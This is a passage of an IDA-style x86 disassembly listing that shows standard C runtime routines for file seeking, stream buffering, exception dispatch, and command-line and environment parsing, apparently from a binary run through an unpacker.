; =============== S U B R O U T I N E =======================================
sub_413A3D proc near ; CODE XREF: sub_413F23+9p
; sub_413F7B+Dp ...
cmp dword_483434, 0
jnz short locret_413A58
push 0FFFFFFFDh
call sub_413679
pop ecx
mov dword_483434, 1
locret_413A58: ; CODE XREF: sub_413A3D+7j
retn
sub_413A3D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413A59 proc near ; CODE XREF: sub_40E887+2Bp
; sub_40E887+A6p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cmp dword_4831FC, 0
push edi
mov edi, [ebp+arg_0]
mov [ebp+arg_0], edi
jnz short loc_413A7D
push [ebp+arg_8]
push [ebp+arg_4]
push edi
call sub_40C720
add esp, 0Ch
jmp short loc_413AE0
; ---------------------------------------------------------------------------
loc_413A7D: ; CODE XREF: sub_413A59+11j
mov edx, [ebp+arg_8]
push esi
test edx, edx
jz short loc_413AC2
mov ecx, [ebp+arg_4]
loc_413A88: ; CODE XREF: sub_413A59+5Bj
mov al, [ecx]
dec edx
movzx esi, al
test byte_483301[esi], 4
mov [edi], al
jz short loc_413AAC
inc edi
inc ecx
test edx, edx
jz short loc_413AB8
mov al, [ecx]
dec edx
mov [edi], al
inc edi
inc ecx
test al, al
jz short loc_413ABE
jmp short loc_413AB2
; ---------------------------------------------------------------------------
loc_413AAC: ; CODE XREF: sub_413A59+3Ej
inc edi
inc ecx
test al, al
jz short loc_413AC2
loc_413AB2: ; CODE XREF: sub_413A59+51j
test edx, edx
jnz short loc_413A88
jmp short loc_413AC2
; ---------------------------------------------------------------------------
loc_413AB8: ; CODE XREF: sub_413A59+44j
and byte ptr [edi-1], 0
jmp short loc_413AC2
; ---------------------------------------------------------------------------
loc_413ABE: ; CODE XREF: sub_413A59+4Fj
and byte ptr [edi-2], 0
loc_413AC2: ; CODE XREF: sub_413A59+2Aj
; sub_413A59+57j ...
mov eax, edx
dec edx
test eax, eax
pop esi
jz short loc_413ADD
lea ecx, [edx+1]
xor eax, eax
mov edx, ecx
shr ecx, 2
rep stosd
mov ecx, edx
and ecx, 3
rep stosb
loc_413ADD: ; CODE XREF: sub_413A59+6Fj
mov eax, [ebp+arg_0]
loc_413AE0: ; CODE XREF: sub_413A59+22j
pop edi
pop ebp
retn
sub_413A59 endp
; =============== S U B R O U T I N E =======================================
sub_413AE3 proc near ; CODE XREF: sub_40EA81+8p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push dword ptr [esi+10h]
call sub_4149BD
test eax, eax
pop ecx
jz short loc_413B6C
cmp esi, offset dword_4223B0
jnz short loc_413B01
xor eax, eax
jmp short loc_413B0C
; ---------------------------------------------------------------------------
loc_413B01: ; CODE XREF: sub_413AE3+18j
cmp esi, offset dword_4223D0
jnz short loc_413B6C
push 1
pop eax
loc_413B0C: ; CODE XREF: sub_413AE3+1Cj
inc dword_481F80
test word ptr [esi+0Ch], 10Ch
jnz short loc_413B6C
cmp dword_481E68[eax*4], 0
push ebx
push edi
lea edi, ds:481E68h[eax*4]
mov ebx, 1000h
jnz short loc_413B52
push ebx
call sub_40CCCF
test eax, eax
pop ecx
mov [edi], eax
jnz short loc_413B52
lea eax, [esi+14h]
push 2
mov [esi+8], eax
mov [esi], eax
pop eax
mov [esi+18h], eax
mov [esi+4], eax
jmp short loc_413B5F
; ---------------------------------------------------------------------------
loc_413B52: ; CODE XREF: sub_413AE3+4Dj
; sub_413AE3+5Aj
mov edi, [edi]
mov [esi+18h], ebx
mov [esi+8], edi
mov [esi], edi
mov [esi+4], ebx
loc_413B5F: ; CODE XREF: sub_413AE3+6Dj
or word ptr [esi+0Ch], 1102h
push 1
pop eax
pop edi
pop ebx
pop esi
retn
; ---------------------------------------------------------------------------
loc_413B6C: ; CODE XREF: sub_413AE3+10j
; sub_413AE3+24j ...
xor eax, eax
pop esi
retn
sub_413AE3 endp
; =============== S U B R O U T I N E =======================================
sub_413B70 proc near ; CODE XREF: sub_40EA81+24p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
cmp [esp+arg_0], 0
push esi
jz short loc_413B9A
mov esi, [esp+4+arg_4]
test byte ptr [esi+0Dh], 10h
jz short loc_413BAB
push esi
call sub_412CD7
and byte ptr [esi+0Dh], 0EEh
and dword ptr [esi+18h], 0
and dword ptr [esi], 0
and dword ptr [esi+8], 0
pop ecx
pop esi
retn
; ---------------------------------------------------------------------------
loc_413B9A: ; CODE XREF: sub_413B70+6j
mov eax, [esp+4+arg_4]
test byte ptr [eax+0Dh], 10h
jz short loc_413BAB
push eax
call sub_412CD7
pop ecx
loc_413BAB: ; CODE XREF: sub_413B70+10j
; sub_413B70+32j
pop esi
retn
sub_413B70 endp
; =============== S U B R O U T I N E =======================================
sub_413BAD proc near ; CODE XREF: sub_40EAF8+67p
; sub_40ECC3+CDp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_0]
push ebx
cmp eax, dword_4831E0
push esi
push edi
jnb short loc_413C2F
mov ecx, eax
mov esi, eax
sar ecx, 5
and esi, 1Fh
lea edi, ds:4830E0h[ecx*4]
shl esi, 3
mov ecx, [edi]
test byte ptr [ecx+esi+4], 1
jz short loc_413C2F
push eax
call sub_415716
cmp eax, 0FFFFFFFFh
pop ecx
jnz short loc_413BF1
mov dword_481DBC, 9
jmp short loc_413C40
; ---------------------------------------------------------------------------
loc_413BF1: ; CODE XREF: sub_413BAD+36j
push [esp+0Ch+arg_8]
push 0
push [esp+14h+arg_4]
push eax
call dword_41816C ; SetFilePointer
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jnz short loc_413C11
call dword_418044 ; RtlGetLastWin32Error
jmp short loc_413C13
; ---------------------------------------------------------------------------
loc_413C11: ; CODE XREF: sub_413BAD+5Aj
xor eax, eax
loc_413C13: ; CODE XREF: sub_413BAD+62j
test eax, eax
jz short loc_413C20
push eax
call sub_413260
pop ecx
jmp short loc_413C40
; ---------------------------------------------------------------------------
loc_413C20: ; CODE XREF: sub_413BAD+68j
mov eax, [edi]
and byte ptr [eax+esi+4], 0FDh
lea eax, [eax+esi+4]
mov eax, ebx
jmp short loc_413C43
; ---------------------------------------------------------------------------
loc_413C2F: ; CODE XREF: sub_413BAD+Dj
; sub_413BAD+2Aj
and dword_481DC0, 0
mov dword_481DBC, 9
loc_413C40: ; CODE XREF: sub_413BAD+42j
; sub_413BAD+71j
or eax, 0FFFFFFFFh
loc_413C43: ; CODE XREF: sub_413BAD+80j
pop edi
pop esi
pop ebx
retn
sub_413BAD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413C47 proc near ; CODE XREF: sub_40EAF8+2Ap
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov edi, [ebp+arg_0]
xor ebx, ebx
mov esi, [edi+10h]
cmp [edi+4], ebx
mov [ebp+var_C], esi
jge short loc_413C63
mov [edi+4], ebx
loc_413C63: ; CODE XREF: sub_413C47+17j
push 1
push ebx
push esi
call sub_413BAD
add esp, 0Ch
cmp eax, ebx
mov [ebp+var_4], eax
jl short loc_413CD1
mov edx, [edi+0Ch]
test dx, 108h
jnz short loc_413C88
sub eax, [edi+4]
jmp loc_413D9A
; ---------------------------------------------------------------------------
loc_413C88: ; CODE XREF: sub_413C47+37j
mov eax, [edi]
mov ecx, [edi+8]
mov ebx, eax
sub ebx, ecx
test dl, 3
mov [ebp+var_8], ebx
jz short loc_413CC2
mov edx, esi
mov ebx, esi
sar edx, 5
and ebx, 1Fh
mov edx, dword_4830E0[edx*4]
test byte ptr [edx+ebx*8+4], 80h
jz short loc_413CD9
mov edx, ecx
loc_413CB3: ; CODE XREF: sub_413C47+79j
cmp edx, eax
jnb short loc_413CD9
cmp byte ptr [edx], 0Ah
jnz short loc_413CBF
inc [ebp+var_8]
loc_413CBF: ; CODE XREF: sub_413C47+73j
inc edx
jmp short loc_413CB3
; ---------------------------------------------------------------------------
loc_413CC2: ; CODE XREF: sub_413C47+50j
test dl, 80h
jnz short loc_413CD9
mov dword_481DBC, 16h
loc_413CD1: ; CODE XREF: sub_413C47+2Dj
or eax, 0FFFFFFFFh
jmp loc_413D9A
; ---------------------------------------------------------------------------
loc_413CD9: ; CODE XREF: sub_413C47+68j
; sub_413C47+6Ej ...
cmp [ebp+var_4], 0
jnz short loc_413CE7
mov eax, [ebp+var_8]
jmp loc_413D9A
; ---------------------------------------------------------------------------
loc_413CE7: ; CODE XREF: sub_413C47+96j
test byte ptr [edi+0Ch], 1
jz loc_413D92
mov edx, [edi+4]
test edx, edx
jnz short loc_413D00
and [ebp+var_8], edx
jmp loc_413D92
; ---------------------------------------------------------------------------
loc_413D00: ; CODE XREF: sub_413C47+AFj
sub eax, ecx
add eax, edx
mov [ebp+arg_0], eax
mov eax, esi
sar eax, 5
and esi, 1Fh
lea ebx, ds:4830E0h[eax*4]
shl esi, 3
mov eax, [ebx]
test byte ptr [esi+eax+4], 80h
jz short loc_413D8C
push 2
push 0
push [ebp+var_C]
call sub_413BAD
add esp, 0Ch
cmp eax, [ebp+var_4]
jnz short loc_413D53
mov eax, [edi+8]
mov ecx, [ebp+arg_0]
add ecx, eax
loc_413D3E: ; CODE XREF: sub_413C47+104j
cmp eax, ecx
jnb short loc_413D4D
cmp byte ptr [eax], 0Ah
jnz short loc_413D4A
inc [ebp+arg_0]
loc_413D4A: ; CODE XREF: sub_413C47+FEj
inc eax
jmp short loc_413D3E
; ---------------------------------------------------------------------------
loc_413D4D: ; CODE XREF: sub_413C47+F9j
test byte ptr [edi+0Dh], 20h
jmp short loc_413D87
; ---------------------------------------------------------------------------
loc_413D53: ; CODE XREF: sub_413C47+EDj
push 0
push [ebp+var_4]
push [ebp+var_C]
call sub_413BAD
mov eax, 200h
add esp, 0Ch
cmp [ebp+arg_0], eax
ja short loc_413D7A
mov ecx, [edi+0Ch]
test cl, 8
jz short loc_413D7A
test ch, 4
jz short loc_413D7D
loc_413D7A: ; CODE XREF: sub_413C47+124j
; sub_413C47+12Cj
mov eax, [edi+18h]
loc_413D7D: ; CODE XREF: sub_413C47+131j
mov [ebp+arg_0], eax
mov eax, [ebx]
test byte ptr [esi+eax+4], 4
loc_413D87: ; CODE XREF: sub_413C47+10Aj
jz short loc_413D8C
inc [ebp+arg_0]
loc_413D8C: ; CODE XREF: sub_413C47+D9j
; sub_413C47:loc_413D87j
mov eax, [ebp+arg_0]
sub [ebp+var_4], eax
loc_413D92: ; CODE XREF: sub_413C47+A4j
; sub_413C47+B4j
mov eax, [ebp+var_8]
mov ecx, [ebp+var_4]
add eax, ecx
loc_413D9A: ; CODE XREF: sub_413C47+3Cj
; sub_413C47+8Dj ...
pop edi
pop esi
pop ebx
leave
retn
sub_413C47 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413D9F proc near ; CODE XREF: sub_40EB84+E3p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ebx
push [ebp+arg_0]
call sub_413EE0
test eax, eax
pop ecx
jz loc_413ED4
mov ebx, [eax+8]
test ebx, ebx
jz loc_413ED4
cmp ebx, 5
jnz short loc_413DD0
and dword ptr [eax+8], 0
push 1
pop eax
jmp loc_413EDD
; ---------------------------------------------------------------------------
loc_413DD0: ; CODE XREF: sub_413D9F+23j
cmp ebx, 1
jz loc_413ECF
mov ecx, dword_481E70
mov [ebp+arg_0], ecx
mov ecx, [ebp+arg_4]
mov dword_481E70, ecx
mov ecx, [eax+4]
cmp ecx, 8
jnz loc_413EBF
mov ecx, dword_4222E8
mov edx, dword_4222EC
add edx, ecx
push esi
cmp ecx, edx
jge short loc_413E1F
lea esi, [ecx+ecx*2]
sub edx, ecx
lea esi, ds:422278h[esi*4]
loc_413E16: ; CODE XREF: sub_413D9F+7Ej
and dword ptr [esi], 0
add esi, 0Ch
dec edx
jnz short loc_413E16
loc_413E1F: ; CODE XREF: sub_413D9F+69j
mov eax, [eax]
mov esi, dword_4222F4
cmp eax, 0C000008Eh
jnz short loc_413E3A
mov dword_4222F4, 83h
jmp short loc_413EAA
; ---------------------------------------------------------------------------
loc_413E3A: ; CODE XREF: sub_413D9F+8Dj
cmp eax, 0C0000090h
jnz short loc_413E4D
mov dword_4222F4, 81h
jmp short loc_413EAA
; ---------------------------------------------------------------------------
loc_413E4D: ; CODE XREF: sub_413D9F+A0j
cmp eax, 0C0000091h
jnz short loc_413E60
mov dword_4222F4, 84h
jmp short loc_413EAA
; ---------------------------------------------------------------------------
loc_413E60: ; CODE XREF: sub_413D9F+B3j
cmp eax, 0C0000093h
jnz short loc_413E73
mov dword_4222F4, 85h
jmp short loc_413EAA
; ---------------------------------------------------------------------------
loc_413E73: ; CODE XREF: sub_413D9F+C6j
cmp eax, 0C000008Dh
jnz short loc_413E86
mov dword_4222F4, 82h
jmp short loc_413EAA
; ---------------------------------------------------------------------------
loc_413E86: ; CODE XREF: sub_413D9F+D9j
cmp eax, 0C000008Fh
jnz short loc_413E99
mov dword_4222F4, 86h
jmp short loc_413EAA
; ---------------------------------------------------------------------------
loc_413E99: ; CODE XREF: sub_413D9F+ECj
cmp eax, 0C0000092h
jnz short loc_413EAA
mov dword_4222F4, 8Ah
loc_413EAA: ; CODE XREF: sub_413D9F+99j
; sub_413D9F+ACj ...
push dword_4222F4
push 8
call ebx
pop ecx
mov dword_4222F4, esi
pop ecx
pop esi
jmp short loc_413EC7
; ---------------------------------------------------------------------------
loc_413EBF: ; CODE XREF: sub_413D9F+52j
and dword ptr [eax+8], 0
push ecx
call ebx
pop ecx
loc_413EC7: ; CODE XREF: sub_413D9F+11Ej
mov eax, [ebp+arg_0]
mov dword_481E70, eax
loc_413ECF: ; CODE XREF: sub_413D9F+34j
or eax, 0FFFFFFFFh
jmp short loc_413EDD
; ---------------------------------------------------------------------------
loc_413ED4: ; CODE XREF: sub_413D9F+Fj
; sub_413D9F+1Aj
push [ebp+arg_4]
call dword_418170 ; UnhandledExceptionFilter
loc_413EDD: ; CODE XREF: sub_413D9F+2Cj
; sub_413D9F+133j
pop ebx
pop ebp
retn
sub_413D9F endp
; =============== S U B R O U T I N E =======================================
sub_413EE0 proc near ; CODE XREF: sub_413D9F+7p
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
mov ecx, dword_4222F0
cmp dword_422270, edx
push esi
mov eax, offset dword_422270
jz short loc_413F0D
lea esi, [ecx+ecx*2]
lea esi, ds:422270h[esi*4]
loc_413F02: ; CODE XREF: sub_413EE0+2Bj
add eax, 0Ch
cmp eax, esi
jnb short loc_413F0D
cmp [eax], edx
jnz short loc_413F02
loc_413F0D: ; CODE XREF: sub_413EE0+16j
; sub_413EE0+27j
lea ecx, [ecx+ecx*2]
pop esi
lea ecx, ds:422270h[ecx*4]
cmp eax, ecx
jnb short loc_413F20
cmp [eax], edx
jz short locret_413F22
loc_413F20: ; CODE XREF: sub_413EE0+3Aj
xor eax, eax
locret_413F22: ; CODE XREF: sub_413EE0+3Ej
retn
sub_413EE0 endp
; =============== S U B R O U T I N E =======================================
sub_413F23 proc near ; CODE XREF: sub_40EB84+A5p
cmp dword_483434, 0
jnz short loc_413F31
call sub_413A3D
loc_413F31: ; CODE XREF: sub_413F23+7j
push esi
mov esi, dword_48342C
mov al, [esi]
cmp al, 22h
jnz short loc_413F63
loc_413F3E: ; CODE XREF: sub_413F23+33j
; sub_413F23+36j
mov al, [esi+1]
inc esi
cmp al, 22h
jz short loc_413F5B
test al, al
jz short loc_413F5B
movzx eax, al
push eax
call sub_415FC2
test eax, eax
pop ecx
jz short loc_413F3E
inc esi
jmp short loc_413F3E
; ---------------------------------------------------------------------------
loc_413F5B: ; CODE XREF: sub_413F23+21j
; sub_413F23+25j
cmp byte ptr [esi], 22h
jnz short loc_413F6D
loc_413F60: ; CODE XREF: sub_413F23+52j
inc esi
jmp short loc_413F6D
; ---------------------------------------------------------------------------
loc_413F63: ; CODE XREF: sub_413F23+19j
cmp al, 20h
jbe short loc_413F6D
loc_413F67: ; CODE XREF: sub_413F23+48j
inc esi
cmp byte ptr [esi], 20h
ja short loc_413F67
loc_413F6D: ; CODE XREF: sub_413F23+3Bj
; sub_413F23+3Ej ...
mov al, [esi]
test al, al
jz short loc_413F77
cmp al, 20h
jbe short loc_413F60
loc_413F77: ; CODE XREF: sub_413F23+4Ej
mov eax, esi
pop esi
retn
sub_413F23 endp
; =============== S U B R O U T I N E =======================================
sub_413F7B proc near ; CODE XREF: sub_40EB84+8Ep
push ebx
xor ebx, ebx
cmp dword_483434, ebx
push esi
push edi
jnz short loc_413F8D
call sub_413A3D
loc_413F8D: ; CODE XREF: sub_413F7B+Bj
mov esi, dword_481E08
xor edi, edi
loc_413F95: ; CODE XREF: sub_413F7B+30j
mov al, [esi]
cmp al, bl
jz short loc_413FAD
cmp al, 3Dh
jz short loc_413FA0
inc edi
loc_413FA0: ; CODE XREF: sub_413F7B+22j
push esi
call sub_40CBC0
pop ecx
lea esi, [esi+eax+1]
jmp short loc_413F95
; ---------------------------------------------------------------------------
loc_413FAD: ; CODE XREF: sub_413F7B+1Ej
lea eax, ds:4[edi*4]
push eax
call sub_40CCCF
mov esi, eax
pop ecx
cmp esi, ebx
mov dword_481DE4, esi
jnz short loc_413FCF
push 9
call sub_40EC7A
pop ecx
loc_413FCF: ; CODE XREF: sub_413F7B+4Aj
mov edi, dword_481E08
cmp [edi], bl
jz short loc_414012
push ebp
loc_413FDA: ; CODE XREF: sub_413F7B+94j
push edi
call sub_40CBC0
mov ebp, eax
pop ecx
inc ebp
cmp byte ptr [edi], 3Dh
jz short loc_41400B
push ebp
call sub_40CCCF
cmp eax, ebx
pop ecx
mov [esi], eax
jnz short loc_413FFE
push 9
call sub_40EC7A
pop ecx
loc_413FFE: ; CODE XREF: sub_413F7B+79j
push edi
push dword ptr [esi]
call sub_40E3C0
pop ecx
add esi, 4
pop ecx
loc_41400B: ; CODE XREF: sub_413F7B+6Cj
add edi, ebp
cmp [edi], bl
jnz short loc_413FDA
pop ebp
loc_414012: ; CODE XREF: sub_413F7B+5Cj
push dword_481E08
call sub_40CD81
pop ecx
mov dword_481E08, ebx
mov [esi], ebx
pop edi
pop esi
mov dword_483430, 1
pop ebx
retn
sub_413F7B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414034 proc near ; CODE XREF: sub_40EB84+89p
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
xor ebx, ebx
cmp dword_483434, ebx
push esi
push edi
jnz short loc_41404B
call sub_413A3D
loc_41404B: ; CODE XREF: sub_414034+10j
mov esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
push 104h
push esi
push ebx
call dword_41804C ; GetModuleFileNameA
mov eax, dword_48342C
mov off_481DF4, esi
mov edi, esi
cmp [eax], bl
jz short loc_414070
mov edi, eax
loc_414070: ; CODE XREF: sub_414034+38j
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
push ebx
push ebx
push edi
call sub_4140CD
mov eax, [ebp+var_8]
mov ecx, [ebp+var_4]
lea eax, [eax+ecx*4]
push eax
call sub_40CCCF
mov esi, eax
add esp, 18h
cmp esi, ebx
jnz short loc_4140A0
push 8
call sub_40EC7A
pop ecx
loc_4140A0: ; CODE XREF: sub_414034+62j
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
mov eax, [ebp+var_4]
lea eax, [esi+eax*4]
push eax
push esi
push edi
call sub_4140CD
mov eax, [ebp+var_4]
add esp, 14h
dec eax
mov dword_481DDC, esi
pop edi
pop esi
mov dword_481DD8, eax
pop ebx
leave
retn
sub_414034 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4140CD proc near ; CODE XREF: sub_414034+47p
; sub_414034+7Dp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
mov ecx, [ebp+arg_10]
mov eax, [ebp+arg_C]
push ebx
push esi
and dword ptr [ecx], 0
mov esi, [ebp+arg_8]
push edi
mov edi, [ebp+arg_4]
mov dword ptr [eax], 1
mov eax, [ebp+arg_0]
test edi, edi
jz short loc_4140F7
mov [edi], esi
add edi, 4
mov [ebp+arg_4], edi
loc_4140F7: ; CODE XREF: sub_4140CD+20j
cmp byte ptr [eax], 22h
jnz short loc_414140
loc_4140FC: ; CODE XREF: sub_4140CD+58j
; sub_4140CD+5Fj
mov dl, [eax+1]
inc eax
cmp dl, 22h
jz short loc_41412E
test dl, dl
jz short loc_41412E
movzx edx, dl
test byte_483301[edx], 4
jz short loc_414121
inc dword ptr [ecx]
test esi, esi
jz short loc_414121
mov dl, [eax]
mov [esi], dl
inc esi
inc eax
loc_414121: ; CODE XREF: sub_4140CD+46j
; sub_4140CD+4Cj
inc dword ptr [ecx]
test esi, esi
jz short loc_4140FC
mov dl, [eax]
mov [esi], dl
inc esi
jmp short loc_4140FC
; ---------------------------------------------------------------------------
loc_41412E: ; CODE XREF: sub_4140CD+36j
; sub_4140CD+3Aj
inc dword ptr [ecx]
test esi, esi
jz short loc_414138
and byte ptr [esi], 0
inc esi
loc_414138: ; CODE XREF: sub_4140CD+65j
cmp byte ptr [eax], 22h
jnz short loc_414183
inc eax
jmp short loc_414183
; ---------------------------------------------------------------------------
loc_414140: ; CODE XREF: sub_4140CD+2Dj
; sub_4140CD+A5j
inc dword ptr [ecx]
test esi, esi
jz short loc_41414B
mov dl, [eax]
mov [esi], dl
inc esi
loc_41414B: ; CODE XREF: sub_4140CD+77j
mov dl, [eax]
inc eax
movzx ebx, dl
test byte_483301[ebx], 4
jz short loc_414166
inc dword ptr [ecx]
test esi, esi
jz short loc_414165
mov bl, [eax]
mov [esi], bl
inc esi
loc_414165: ; CODE XREF: sub_4140CD+91j
inc eax
loc_414166: ; CODE XREF: sub_4140CD+8Bj
cmp dl, 20h
jz short loc_414174
test dl, dl
jz short loc_414178
cmp dl, 9
jnz short loc_414140
loc_414174: ; CODE XREF: sub_4140CD+9Cj
test dl, dl
jnz short loc_41417B
loc_414178: ; CODE XREF: sub_4140CD+A0j
dec eax
jmp short loc_414183
; ---------------------------------------------------------------------------
loc_41417B: ; CODE XREF: sub_4140CD+A9j
test esi, esi
jz short loc_414183
and byte ptr [esi-1], 0
loc_414183: ; CODE XREF: sub_4140CD+6Ej
; sub_4140CD+71j ...
and [ebp+arg_10], 0
loc_414187: ; CODE XREF: sub_4140CD+19Ej
cmp byte ptr [eax], 0
jz loc_414270
loc_414190: ; CODE XREF: sub_4140CD+D0j
mov dl, [eax]
cmp dl, 20h
jz short loc_41419C
cmp dl, 9
jnz short loc_41419F
loc_41419C: ; CODE XREF: sub_4140CD+C8j
inc eax
jmp short loc_414190
; ---------------------------------------------------------------------------
loc_41419F: ; CODE XREF: sub_4140CD+CDj
cmp byte ptr [eax], 0
jz loc_414270
test edi, edi
jz short loc_4141B4
mov [edi], esi
add edi, 4
mov [ebp+arg_4], edi
loc_4141B4: ; CODE XREF: sub_4140CD+DDj
mov edx, [ebp+arg_C]
inc dword ptr [edx]
loc_4141B9: ; CODE XREF: sub_4140CD+18Fj
mov [ebp+arg_0], 1
xor ebx, ebx
loc_4141C2: ; CODE XREF: sub_4140CD+FCj
cmp byte ptr [eax], 5Ch
jnz short loc_4141CB
inc eax
inc ebx
jmp short loc_4141C2
; ---------------------------------------------------------------------------
loc_4141CB: ; CODE XREF: sub_4140CD+F8j
cmp byte ptr [eax], 22h
jnz short loc_4141FC
test bl, 1
jnz short loc_4141FA
xor edi, edi
cmp [ebp+arg_10], edi
jz short loc_4141E9
cmp byte ptr [eax+1], 22h
lea edx, [eax+1]
jnz short loc_4141E9
mov eax, edx
jmp short loc_4141EC
; ---------------------------------------------------------------------------
loc_4141E9: ; CODE XREF: sub_4140CD+10Dj
; sub_4140CD+116j
mov [ebp+arg_0], edi
loc_4141EC: ; CODE XREF: sub_4140CD+11Aj
mov edi, [ebp+arg_4]
xor edx, edx
cmp [ebp+arg_10], edx
setz dl
mov [ebp+arg_10], edx
loc_4141FA: ; CODE XREF: sub_4140CD+106j
shr ebx, 1
loc_4141FC: ; CODE XREF: sub_4140CD+101j
mov edx, ebx
dec ebx
test edx, edx
jz short loc_414211
inc ebx
loc_414204: ; CODE XREF: sub_4140CD+142j
test esi, esi
jz short loc_41420C
mov byte ptr [esi], 5Ch
inc esi
loc_41420C: ; CODE XREF: sub_4140CD+139j
inc dword ptr [ecx]
dec ebx
jnz short loc_414204
loc_414211: ; CODE XREF: sub_4140CD+134j
mov dl, [eax]
test dl, dl
jz short loc_414261
cmp [ebp+arg_10], 0
jnz short loc_414227
cmp dl, 20h
jz short loc_414261
cmp dl, 9
jz short loc_414261
loc_414227: ; CODE XREF: sub_4140CD+14Ej
cmp [ebp+arg_0], 0
jz short loc_41425B
test esi, esi
jz short loc_41424A
movzx ebx, dl
test byte_483301[ebx], 4
jz short loc_414243
mov [esi], dl
inc esi
inc eax
inc dword ptr [ecx]
loc_414243: ; CODE XREF: sub_4140CD+16Ej
mov dl, [eax]
mov [esi], dl
inc esi
jmp short loc_414259
; ---------------------------------------------------------------------------
loc_41424A: ; CODE XREF: sub_4140CD+162j
movzx edx, dl
test byte_483301[edx], 4
jz short loc_414259
inc eax
inc dword ptr [ecx]
loc_414259: ; CODE XREF: sub_4140CD+17Bj
; sub_4140CD+187j
inc dword ptr [ecx]
loc_41425B: ; CODE XREF: sub_4140CD+15Ej
inc eax
jmp loc_4141B9
; ---------------------------------------------------------------------------
loc_414261: ; CODE XREF: sub_4140CD+148j
; sub_4140CD+153j ...
test esi, esi
jz short loc_414269
and byte ptr [esi], 0
inc esi
loc_414269: ; CODE XREF: sub_4140CD+196j
inc dword ptr [ecx]
jmp loc_414187
; ---------------------------------------------------------------------------
loc_414270: ; CODE XREF: sub_4140CD+BDj
; sub_4140CD+D5j
test edi, edi
jz short loc_414277
and dword ptr [edi], 0
loc_414277: ; CODE XREF: sub_4140CD+1A5j
mov eax, [ebp+arg_C]
pop edi
pop esi
pop ebx
inc dword ptr [eax]
pop ebp
retn
sub_4140CD endp
; =============== S U B R O U T I N E =======================================
sub_414281 proc near ; CODE XREF: sub_40EB84+7Fp
var_8 = dword ptr -8
var_4 = dword ptr -4
push ecx
push ecx
mov eax, dword_481F78
push ebx
push ebp
mov ebp, dword_41803C
push esi
push edi
xor ebx, ebx
xor esi, esi
xor edi, edi
cmp eax, ebx
jnz short loc_4142CF
call ebp ; GetEnvironmentStringsW
mov esi, eax
cmp esi, ebx
jz short loc_4142B0
mov dword_481F78, 1
jmp short loc_4142D8
; ---------------------------------------------------------------------------
loc_4142B0: ; CODE XREF: sub_414281+21j
call dword_41817C ; GetEnvironmentStrings
mov edi, eax
cmp edi, ebx
jz loc_4143AA
mov dword_481F78, 2
jmp loc_41435E
; ---------------------------------------------------------------------------
loc_4142CF: ; CODE XREF: sub_414281+19j
cmp eax, 1
jnz loc_414359
loc_4142D8: ; CODE XREF: sub_414281+2Dj
cmp esi, ebx
jnz short loc_4142E8
call ebp ; GetEnvironmentStringsW
mov esi, eax
cmp esi, ebx
jz loc_4143AA
loc_4142E8: ; CODE XREF: sub_414281+59j
cmp [esi], bx
mov eax, esi
jz short loc_4142FD
loc_4142EF: ; CODE XREF: sub_414281+73j
; sub_414281+7Aj
inc eax
inc eax
cmp [eax], bx
jnz short loc_4142EF
inc eax
inc eax
cmp [eax], bx
jnz short loc_4142EF
loc_4142FD: ; CODE XREF: sub_414281+6Cj
sub eax, esi
mov edi, dword_4180C8
sar eax, 1
push ebx
push ebx
inc eax
push ebx
push ebx
push eax
push esi
push ebx
push ebx
mov [esp+38h+var_4], eax
call edi ; WideCharToMultiByte
mov ebp, eax
cmp ebp, ebx
jz short loc_41434E
push ebp
call sub_40CCCF
cmp eax, ebx
pop ecx
mov [esp+18h+var_8], eax
jz short loc_41434E
push ebx
push ebx
push ebp
push eax
push [esp+28h+var_4]
push esi
push ebx
push ebx
call edi ; WideCharToMultiByte
test eax, eax
jnz short loc_41434A
push [esp+18h+var_8]
call sub_40CD81
pop ecx
mov [esp+18h+var_8], ebx
loc_41434A: ; CODE XREF: sub_414281+B9j
mov ebx, [esp+18h+var_8]
loc_41434E: ; CODE XREF: sub_414281+99j
; sub_414281+A8j
push esi
call dword_418178 ; FreeEnvironmentStringsW
mov eax, ebx
jmp short loc_4143AC
; ---------------------------------------------------------------------------
loc_414359: ; CODE XREF: sub_414281+51j
cmp eax, 2
jnz short loc_4143AA
loc_41435E: ; CODE XREF: sub_414281+49j
cmp edi, ebx
jnz short loc_41436E
call dword_41817C ; GetEnvironmentStrings
mov edi, eax
cmp edi, ebx
jz short loc_4143AA
loc_41436E: ; CODE XREF: sub_414281+DFj
cmp [edi], bl
mov eax, edi
jz short loc_41437E
loc_414374: ; CODE XREF: sub_414281+F6j
; sub_414281+FBj
inc eax
cmp [eax], bl
jnz short loc_414374
inc eax
cmp [eax], bl
jnz short loc_414374
loc_41437E: ; CODE XREF: sub_414281+F1j
sub eax, edi
inc eax
mov ebp, eax
push ebp
call sub_40CCCF
mov esi, eax
pop ecx
cmp esi, ebx
jnz short loc_414394
xor esi, esi
jmp short loc_41439F
; ---------------------------------------------------------------------------
loc_414394: ; CODE XREF: sub_414281+10Dj
push ebp
push edi
push esi
call near ptr sub_40C820
add esp, 0Ch
loc_41439F: ; CODE XREF: sub_414281+111j
push edi
